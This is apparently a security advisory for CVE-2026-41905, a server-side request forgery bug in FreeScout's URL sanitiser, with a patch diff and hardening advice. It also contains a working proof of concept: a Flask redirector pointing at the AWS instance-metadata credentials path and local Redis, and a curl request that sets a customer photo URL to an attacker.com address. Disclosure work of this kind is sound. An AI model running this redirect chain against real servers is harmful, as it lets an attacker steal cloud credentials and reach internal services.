Helper::sanitizeRemoteUrl()validates the original URL, follows redirects, and then re-validates the original URL again — not the final destination. One-line variable-swap bug, full SSRF.
| CVE | CVE-2026-41905 (NVD) |
| GHSA | GHSA-22wf-848c-c856 |
| Severity | High — CVSS 7.7 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| CWE | CWE-918: Server-Side Request Forgery |
| Affected | FreeScout < 1.8.217 |
| Fixed | 1.8.217 |
| Authentication | Authenticated low-priv user (or unauthenticated via inbound email attachment processing) |
| Reporter | @whatisproblem |
Helper::sanitizeRemoteUrl($url) is FreeScout's central SSRF defence — a single helper that every "fetch this user-supplied URL" path is supposed to flow through. It correctly:
- Parses the supplied URL.
- Resolves the host to an IP.
- Rejects RFC1918, loopback, link-local, and the cloud-metadata IP (
169.254.169.254). - Follows redirects with cURL to expose the final URL.
- Re-validates the wrong variable. Specifically, it re-checks
$url(the original) instead of$last_redirected_url(the post-redirect target).
Concretely, line 1914 of app/Misc/Helper.php reads (paraphrased):
// after CURLOPT_FOLLOWLOCATION captured $last_redirected_url
if (!self::sanitizeRemoteUrl_check($url)) { // BUG: $url is the original, already-validated string
return false;
}
return $last_redirected_url;The fix is changing $url to $last_redirected_url. That's it. One identifier.
The attacker controls a public URL, e.g. https://attacker.com/redir, that responds with:
HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
sanitizeRemoteUrl("https://attacker.com/redir") sees attacker.com resolves to a public IP → first check passes. cURL follows the redirect to 169.254.169.254 (AWS instance metadata service). The function re-validates $url — still https://attacker.com/redir, which still passes — and returns the redirect target. Whatever caller invoked the helper now happily fetches 169.254.169.254 and gets back IAM credentials.
The same pattern grants:
| Target | What you get |
|---|---|
169.254.169.254/latest/meta-data/... (AWS) |
Instance role IAM credentials, user-data |
metadata.google.internal/... (GCP) |
Project/instance metadata, default service-account token |
169.254.169.254/metadata/instance?... (Azure IMDS) |
Instance metadata, MSI tokens |
127.0.0.1:6379 (Redis without auth) |
Read/write on local Redis if reachable |
127.0.0.1:9200 (Elasticsearch) |
Index data |
10.0.0.0/8 internal API endpoints |
Whatever those endpoints do without origin validation |
sanitizeRemoteUrl() is reachable from at least three code paths in FreeScout, each with different auth requirements:
| Path | Auth | Notes |
|---|---|---|
| Customer photo URL update | Any agent | Lowest barrier — agent-editable customer profile fetches the URL server-side to mirror the avatar. |
| Module download URL (admin only) | Admin | Higher bar but high blast radius — admin already, but RCE on the module download path becomes possible if metadata yields creds with deploy access. |
| Inbound email attachment processing | None | If attachment processing dereferences a remote URL embedded in inbound mail, the sender is anonymous. This is the most dangerous path. |
The Customer-photo path is the canonical PoC because it's reachable with a single low-privilege account and the response is observable (the photo "fetch" either succeeds or errors loudly enough to leak content via timing/size).
git clone https://github.com/freescout-help-desk/freescout
cd freescout && git checkout 1.8.216
docker compose up -dRun a tiny redirector on a public IP (or on the host, if FreeScout's container can reach it):
# python -m http.server isn't enough; use Flask for a 302
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/aws')
def aws():
return redirect('http://169.254.169.254/latest/meta-data/iam/security-credentials/', code=302)
@app.route('/redis')
def redis():
# Redis speaks a text protocol; SSRF can issue a single command via HTTP framing
return redirect('http://127.0.0.1:6379/_', code=302)
app.run(host='0.0.0.0', port=8080)curl -b jar.txt -X POST \
http://localhost:8080/customers/<CUSTOMER_ID>/edit \
-H "X-CSRF-TOKEN: <csrf>" \
--data-urlencode 'photo_url=https://attacker.com/aws'If the destination is the AWS IMDS, FreeScout's HTTP client fetches it. Depending on whether the response gets stored, surfaced in a flash message, or just consumed, the credentials may be returnable directly to the attacker via a follow-up read of the customer record, or — at minimum — observable in the application's outbound network logs and timing differential vs a non-existent host.
For the demonstrative PoC, watch outbound traffic on the FreeScout container:
docker exec -it freescout_app sh -c 'tcpdump -i any -nn host 169.254.169.254'The redirect-followed request lands on IMDS. That is the SSRF.
Demonstrative scope only. No real cloud credentials are exfiltrated in the PoC. In a deployment running on EC2 with an IAM role attached, the impact is full retrieval of those credentials.
Patched in 1.8.217. The minimal correct patch:
- if (!self::sanitizeRemoteUrl_check($url)) {
+ if (!self::sanitizeRemoteUrl_check($last_redirected_url)) {
return false;
}
return $last_redirected_url;A more defensive variant also:
- Rejects all redirects to a different scheme (e.g.
http://→https://localhost:443is still localhost). - Re-resolves the post-redirect host's DNS at fetch time and rejects if the resolved IP changed mid-fetch (DNS rebinding hardening — separate but related class).
- Disables
gopher://,file://,dict://,ldap://etc. viaCURLOPT_PROTOCOLS.
- 2026-04-17/18 — Discovered during automated audit.
- 2026-04-18 — Reported privately via GHSA Draft.
- 2026-04 — Patched in
1.8.217. - 2026-07-17 (planned) — Public write-up published.
- Validation must follow the data, not the variable. This bug is a single mistyped identifier — exactly the kind of error that taint-tracking would have caught immediately because the value being validated post-redirect doesn't carry the property "was just resolved by cURL".
- One central sanitiser is right; use it correctly. FreeScout was already doing the right architectural thing — funnelling SSRF defence through one helper. The implementation just had a one-character bug. Centralisation is what makes the one-character fix possible.
- Re-resolve at the fetch boundary. Because of this bug, a deeper question worth asking: even with the fix, does the application re-resolve DNS just before the actual HTTP fetch, or does it trust the IP it resolved during validation? DNS rebinding (CWE-350-adjacent) bypasses helper-based SSRF defences that don't re-resolve. That's an enhancement, not the present CVE — but worth a follow-up audit.
- Inbound mail is the scariest entry point. Anywhere in the codebase where unauthenticated network input becomes a server-side fetch deserves twice the validation rigour.
- CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-41905
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41905
- GHSA: https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-22wf-848c-c856
- CWE-918: https://cwe.mitre.org/data/definitions/918.html
- "A New Era of SSRF" (Orange Tsai, 2017): https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf (background reading on URL-parser SSRF, related class)